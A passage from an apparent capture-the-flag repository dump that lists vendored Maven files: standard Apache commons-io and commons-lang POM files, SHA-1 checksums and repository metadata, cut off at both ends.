</tasks>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>rc</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>site</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.pom.sha1",
    "content": "526f34cad0a113787f3eb8ee1d0fe0abebcba887"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-io-2.5.jar>central=\ncommons-io-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.jar.sha1",
    "content": "2852e6e05fbb95076fc091f6d1780f1f8fe35e0f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>39</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-io</groupId>\n  <artifactId>commons-io</artifactId>\n  <version>2.5</version>\n  <name>Apache Commons IO</name>\n\n  <inceptionYear>2002</inceptionYear>\n  <description>\nThe Apache Commons IO library contains utility classes, stream implementations, file filters, \nfile comparators, endian transformation classes, and much more.\n  </description>\n\n  <url>http://commons.apache.org/proper/commons-io/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/IO</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <name>Apache Commons Site</name>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/commons/content/proper/commons-i/</url>\n    </site>\n  </distributionManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/io/tags/commons-io-2.5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/io/tags/commons-io-2.5</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/io/tags/commons-io-2.5</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Scott Sanders</name>\n      <id>sanders</id>\n      <email>sanders@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>dIon Gillard</name>\n      <!-- Note: first name is correctly capitalised above -->\n      <id>dion</id>\n      <email>dion@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Nicola Ken Barozzi</name>\n      <id>nicolaken</id>\n      <email>nicolaken@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n      <email>bayard@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Stephen Colebourne</name>\n      <id>scolebourne</id>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <name>Jeremias Maerki</name>\n      <id>jeremias</id>\n      <email>jeremias@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Matthew Hawthorne</name>\n      <id>matth</id>\n      <email>matth@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Martin Cooper</name>\n      <id>martinc</id>\n      <email>martinc@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rob Oxspring</name>\n      <id>roxspring</id>\n      <email>roxspring@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Jochen Wiedmann</name>\n      <id>jochen</id>\n      <email>jochen.wiedmann@gmail.com</email>\n    </developer>\n    <developer>\n      <name>Niall Pemberton</name>\n      <id>niallp</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Jukka Zitting</name>\n      <id>jukka</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Gary Gregory</name>\n      <id>ggregory</id>\n      <email>ggregory@apache.org</email>\n      <url>http://www.garygregory.com</url>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <name>Kristian Rosenvold</name>\n      <id>krosenvold</id>\n      <email>krosenvold@apache.org</email>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Rahul Akolkar</name>\n    </contributor>\n    <contributor>\n      <name>Jason Anderson</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Emmanuel Bourg</name>\n    </contributor>\n    <contributor>\n      <name>Chris Eldredge</name>\n    </contributor>\n    <contributor>\n      <name>Magnus Grimsell</name>\n    </contributor>\n    <contributor>\n      <name>Jim Harrington</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Ledoux</name>\n    </contributor>\n    <contributor>\n      <name>Andy Lehane</name>\n    </contributor>\n    <contributor>\n      <name>Marcelo Liberato</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n      <email>alban.peignier at free.fr</email>\n    </contributor>\n    <contributor>\n      <name>Ian Springer</name>\n    </contributor>\n    <contributor>\n      <name>Dominik Stadler</name>\n    </contributor>\n    <contributor>\n      <name>Masato Tezuka</name>\n    </contributor>\n    <contributor>\n      <name>James Urie</name>\n    </contributor>\n    <contributor>\n      <name>Frank W. Zammetti</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.12</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <maven.compiler.source>1.6</maven.compiler.source>\n    <maven.compiler.target>1.6</maven.compiler.target>\n    <commons.componentid>io</commons.componentid>\n    <commons.rc.version>RC4</commons.rc.version>\n    <commons.release.version>2.5</commons.release.version>\n    <commons.release.desc>(requires JDK 1.6+)</commons.release.desc>\n    <commons.jira.id>IO</commons.jira.id>\n    <commons.jira.pid>12310477</commons.jira.pid>\n    <commons.osgi.export>\n        <!-- Explicit list of packages from IO 1.4 -->\n        org.apache.commons.io;\n        org.apache.commons.io.comparator;\n        org.apache.commons.io.filefilter;\n        org.apache.commons.io.input;\n        org.apache.commons.io.output;version=1.4.9999;-noimport:=true,\n        <!-- Same list plus * for new packages -->\n        org.apache.commons.io;\n        org.apache.commons.io.comparator;\n        org.apache.commons.io.filefilter;\n        org.apache.commons.io.input;\n        org.apache.commons.io.output;\n        org.apache.commons.io.*;version=${project.version};-noimport:=true\n    </commons.osgi.export>\n\n    <commons.scmPubCheckoutDirectory>site-content</commons.scmPubCheckoutDirectory>\n  </properties>\n\n  <build>\n    <pluginManagement>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.14.1</version>\n        <configuration>\n          <classpathDependencyExcludes>\n            <classpathDependencyExclude>xerces:xercesImpl</classpathDependencyExclude>\n          </classpathDependencyExcludes>\n          <forkMode>pertest</forkMode>\n          <!-- limit memory size see IO-161 -->\n          <argLine>-Xmx25M</argLine>\n          <includes>\n            <!-- Only include test classes, not test data -->\n            <include>**/*Test*.class</include>\n          </includes>\n          <excludes>\n            <exclude>**/*AbstractTestCase*</exclude>\n            <exclude>**/testtools/**</exclude>\n            <!-- http://jira.codehaus.org/browse/SUREFIRE-44 -->\n            <exclude>**/*$*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <configuration>\n          <ignorePathsToDelete>\n            <ignorePathToDelete>javadocs</ignorePathToDelete>\n          </ignorePathsToDelete>\n        </configuration>\n      </plugin>\n      <!-- Configure RAT for CLI invocation: mvn apache-rat:rat -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <!-- Must agree with report section RAT config -->\n        <configuration>\n          <excludes>\n            <exclude>src/test/resources/**/*.bin</exclude>\n            <exclude>test/**</exclude>\n\n            <!-- The next 3 excludes can be dropped when using CP30 -->\n            <exclude>site-content/**</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.7</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.12.1</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>${commons.findbugs.version}</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n          <excludeFilterFile>${basedir}/findbugs-exclude-filter.xml</excludeFilterFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <!-- Must agree with build section RAT config -->\n        <configuration>\n          <excludes>\n            <exclude>src/test/resources/**/*.bin</exclude>\n            <exclude>test/**</exclude>\n\n            <!-- The next 3 excludes can be dropped when using CP30 -->\n            <exclude>site-content/**</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n  <profiles>\n    <profile>\n      <id>setup-checkout</id>\n      <activation>\n        <file>\n          <missing>site-content</missing>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <version>1.8</version>\n            <executions>\n              <execution>\n                <id>prepare-checkout</id>\n                <phase>pre-site</phase>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n                <configuration>\n                  <target>\n                    <exec executable=\"svn\">\n                      <arg line=\"checkout --depth immediates ${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory}\" />\n                    </exec>\n\n                    <exec executable=\"svn\">\n                      <arg line=\"update --set-depth exclude ${commons.scmPubCheckoutDirectory}/javadocs\" />\n                    </exec>\n\n                    <pathconvert pathsep=\" \" property=\"dirs\">\n                      <dirset dir=\"${commons.scmPubCheckoutDirectory}\" includes=\"*\" />\n                    </pathconvert>\n                    <exec executable=\"svn\">\n                      <arg line=\"update --set-depth infinity ${dirs}\" />\n                    </exec>\n                  </target>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.pom.sha1",
    "content": "7e39112810f6096061c43504188d18edc7d7eece"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:12 CST 2018\ncommons-lang-2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/commons-lang-2.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-lang</groupId>\n  <artifactId>commons-lang</artifactId>\n  <name>Lang</name>\n  <version>2.1</version>\n  <description>Commons.Lang, a package of Java utility classes for the\n    classes that are in java.lang's hierarchy, or are considered to be so\n    standard as to justify existence in java.lang.</description>\n  <url>http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <address>commons-dev@jakarta.apache.org</address>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <email>dlr@finemaltcoding.com</email>\n      <organization>CollabNet, Inc.</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>scolebourne</id>\n      <name>Stephen Colebourne</name>\n      <email>scolebourne@joda.org</email>\n      <organization>SITA ATS Ltd</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <email>bayard@generationjava.com</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>scaswell</id>\n      <name>Steven Caswell</name>\n      <email>stevencaswell@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ggregory</id>\n      <name>Gary D. Gregory</name>\n      <email>ggregory@seagullsw.com</email>\n      <organization>Seagull Software</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>psteitz</id>\n      <name>Phil Steitz</name>\n      <email>phil@steitz.com</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fredrik</id>\n      <name>Fredrik Westermarck</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>C. Scott Ananian</name>\n    </contributor>\n    <contributor>\n      <name>Chris Audley</name>\n    </contributor>\n    <contributor>\n      <name>Stephane Bailliez</name>\n    </contributor>\n    <contributor>\n      <name>Michael Becke</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Stefan Bodewig</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Mike Bowler</name>\n    </contributor>\n    <contributor>\n      <name>Sean Brown</name>\n    </contributor>\n    <contributor>\n      <name>Alexander Day Chaffee</name>\n    </contributor>\n    <contributor>\n      <name>Al Chou</name>\n    </contributor>\n    <contributor>\n      <name>Greg Coladonato</name>\n    </contributor>\n    <contributor>\n      <name>Maarten Coene</name>\n    </contributor>\n    <contributor>\n      <name>Justin Couch</name>\n    </contributor>\n    <contributor>\n      <name>Michael Davey</name>\n    </contributor>\n    <contributor>\n      <name>Norm Deane</name>\n    </contributor>\n    <contributor>\n      <name>Ringo De Smet</name>\n    </contributor>\n    <contributor>\n      <name>Russel Dittmar</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Matthias Eichel</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Elkins</name>\n    </contributor>\n    <contributor>\n      <name>Chris Feldhacker</name>\n    </contributor>\n    <contributor>\n      <name>Pete Gieser</name>\n    </contributor>\n    <contributor>\n      <name>Jason Gritman</name>\n    </contributor>\n    <contributor>\n      <name>Matthew Hawthorne</name>\n    </contributor>\n    <contributor>\n      <name>Michael Heuer</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Tetsuya Kaneuchi</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Ed Korthof</name>\n    </contributor>\n    <contributor>\n      <name>Holger Krauth</name>\n    </contributor>\n    <contributor>\n      <name>Rafal Krupinski</name>\n    </contributor>\n    <contributor>\n      <name>Rafal Krzewski</name>\n    </contributor>\n    <contributor>\n      <name>Craig R. McClanahan</name>\n    </contributor>\n    <contributor>\n      <name>Rand McNeely</name>\n    </contributor>\n    <contributor>\n      <name>Nikolay Metchev</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Tim O'Brien</name>\n    </contributor>\n    <contributor>\n      <name>Brian S O'Neill</name>\n    </contributor>\n    <contributor>\n      <name>Andrew C. Oliver</name>\n    </contributor>\n    <contributor>\n      <name>Moritz Petersen</name>\n    </contributor>\n    <contributor>\n      <name>Dmitri Plotnikov</name>\n    </contributor>\n    <contributor>\n      <name>Neeme Praks</name>\n    </contributor>\n    <contributor>\n      <name>Eric Pugh</name>\n    </contributor>\n    <contributor>\n      <name>Travis Reeder</name>\n    </contributor>\n    <contributor>\n      <name>Antony Riley</name>\n    </contributor>\n    <contributor>\n      <name>Scott Sanders</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Schaer</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Sean Schofield</name>\n    </contributor>\n    <contributor>\n      <name>Ville Skytta</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Glen Stampoultzis</name>\n    </contributor>\n    <contributor>\n      <name>Scott Stanchfield</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens</name>\n    </contributor>\n    <contributor>\n      <name>Sean C. Sullivan</name>\n    </contributor>\n    <contributor>\n      <name>Ashwin Suresh</name>\n    </contributor>\n    <contributor>\n      <name>Helge Tesgaard</name>\n    </contributor>\n    <contributor>\n      <name>Arun Mammen Thomas</name>\n    </contributor>\n    <contributor>\n      <name>Masato Tezuka</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Chris Webb</name>\n    </contributor>\n    <contributor>\n      <name>Mario Winterer</name>\n    </contributor>\n  </contributors>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</connection>\n    <url>http://svn.apache.org/viewcvs/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <testResources>\n      <testResource>\n        <directory>${pom.build.unitTestSourceDirectory}</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*TestSuite.java</include>\n          </includes>\n          <excludes>\n            <exclude>**/AllLangTestSuite.java</exclude>\n            <exclude>org/apache/commons/lang/text/**/*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://jakarta.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n    </site>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/commons-lang-2.1.pom.sha1",
    "content": "a34d992202615804c534953aba402de55d8ee47c  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-lang/commons-lang/2.1/commons-lang-2.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:47 CST 2018\ncommons-lang-2.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/commons-lang-2.4.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-lang</groupId>\n  <artifactId>commons-lang</artifactId>\n  <version>2.4</version>\n  <name>Commons Lang</name>\n\n  <inceptionYear>2001</inceptionYear>\n    <description>\n        Commons Lang, a package of Java utility classes for the\n        classes that are in java.lang's hierarchy, or are considered to be so\n        standard as to justify existence in java.lang.\n    </description>\n\n  <url>http://commons.apache.org/lang/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/LANG</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/lang/trunk</url>\n  </scm>\n\n    <developers>\n        <developer>\n            <name>Daniel Rall</name>\n            <id>dlr</id>\n            <email>dlr@finemaltcoding.com</email>\n            <organization>CollabNet, Inc.</organization>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Stephen Colebourne</name>\n            <id>scolebourne</id>\n            <email>scolebourne@joda.org</email>\n            <organization>SITA ATS Ltd</organization>\n            <timezone>0</timezone>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Henri Yandell</name>\n            <id>bayard</id>\n            <email>bayard@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Steven Caswell</name>\n            <id>scaswell</id>\n            <email>stevencaswell@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <name>Robert Burrell Donkin</name>\n            <id>rdonkin</id>\n            <email>rdonkin@apache.org</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Gary D. Gregory</name>\n            <id>ggregory</id>\n            <email>ggregory@seagullsw.com</email>\n            <organization>Seagull Software</organization>\n            <timezone>-8</timezone>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Phil Steitz</name>\n            <id>psteitz</id>\n            <email>phil@steitz.com</email>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Fredrik Westermarck</name>\n            <id>fredrik</id>\n            <email/>\n            <organization/>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>James Carman</name>\n            <id>jcarman</id>\n            <email>jcarman@apache.org</email>\n            <organization>Carman Consulting, Inc.</organization>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Niall Pemberton</name>\n            <id>niallp</id>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <name>Matt Benson</name>\n            <id>mbenson</id>\n            <roles>\n                <role>Java Developer</role>\n            </roles>\n        </developer>\n    </developers>\n    <contributors>\n        <contributor>\n            <name>C. Scott Ananian</name>\n        </contributor>\n        <contributor>\n            <name>Chris Audley</name>\n        </contributor>\n        <contributor>\n            <name>Stephane Bailliez</name>\n        </contributor>\n        <contributor>\n            <name>Michael Becke</name>\n        </contributor>\n        <contributor>\n            <name>Ola Berg</name>\n        </contributor>\n        <contributor>\n            <name>Nathan Beyer</name>\n        </contributor>\n        <contributor>\n            <name>Stefan Bodewig</name>\n        </contributor>\n        <contributor>\n            <name>Janek Bogucki</name>\n        </contributor>\n        <contributor>\n            <name>Mike Bowler</name>\n        </contributor>\n        <contributor>\n            <name>Sean Brown</name>\n        </contributor>\n        <contributor>\n            <name>Alexander Day Chaffee</name>\n        </contributor>\n        <contributor>\n            <name>Al Chou</name>\n        </contributor>\n        <contributor>\n            <name>Greg Coladonato</name>\n        </contributor>\n        <contributor>\n            <name>Maarten Coene</name>\n        </contributor>\n        <contributor>\n            <name>Justin Couch</name>\n        </contributor>\n        <contributor>\n            <name>Michael Davey</name>\n        </contributor>\n        <contributor>\n            <name>Norm Deane</name>\n        </contributor>\n        <contributor>\n            <name>Ringo De Smet</name>\n        </contributor>\n        <contributor>\n            <name>Russel Dittmar</name>\n        </contributor>\n        <contributor>\n            <name>Steve Downey</name>\n        </contributor>\n        <contributor>\n            <name>Matthias Eichel</name>\n        </contributor>\n        <contributor>\n            <name>Christopher Elkins</name>\n        </contributor>\n        <contributor>\n            <name>Chris Feldhacker</name>\n        </contributor>\n        <contributor>\n            <name>Pete Gieser</name>\n        </contributor>\n        <contributor>\n            <name>Jason Gritman</name>\n        </contributor>\n        <contributor>\n            <name>Matthew Hawthorne</name>\n        </contributor>\n        <contributor>\n            <name>Michael Heuer</name>\n        </contributor>\n        <contributor>\n            <name>Oliver Heger</name>\n        </contributor>\n        <contributor>\n            <name>Chris Hyzer</name>\n        </contributor>\n        <contributor>\n            <name>Marc Johnson</name>\n        </contributor>\n        <contributor>\n            <name>Shaun 